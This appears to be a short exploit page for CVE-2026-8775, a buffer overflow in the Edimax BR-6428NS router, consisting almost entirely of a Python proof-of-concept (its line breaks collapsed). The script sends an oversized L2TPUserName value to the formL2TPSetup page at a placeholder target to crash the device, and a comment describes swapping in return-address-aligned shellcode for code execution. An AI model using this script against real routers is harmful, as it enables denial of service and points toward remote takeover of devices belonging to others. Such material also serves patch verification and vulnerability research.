CVE-2026-8775 Edimax路由器缓冲区溢出漏洞

import requests # CVE-2026-8775 PoC Example # Target: Edimax BR-6428NS v1.10 # Description: Buffer overflow in formL2TPSetup via L2TPUserName parameter target_url = "http://<TARGET_IP>/goform/formL2TPSetup" # Generic payload pattern (e.g., 500 'A' characters to trigger crash) # In a real exploit, this would be replaced with shellcode aligned to the return address payload = "A" * 500 post_data = { "L2TPUserName": payload, # Additional form fields may be required depending on the page logic } try: print("[*] Sending exploit payload to %s" % target_url) response = requests.post(target_url, data=post_data, timeout=10) # Check if the device responds (might be unresponsive due to crash) if response.status_code == 200: print("[+] Request sent successfully. Check device status for DoS or shell.") else: print("[-] Device returned status code: %d" % response.status_code) except requests.exceptions.RequestException as e: print("[!] Error occurred or device crashed (DoS): %s" % e)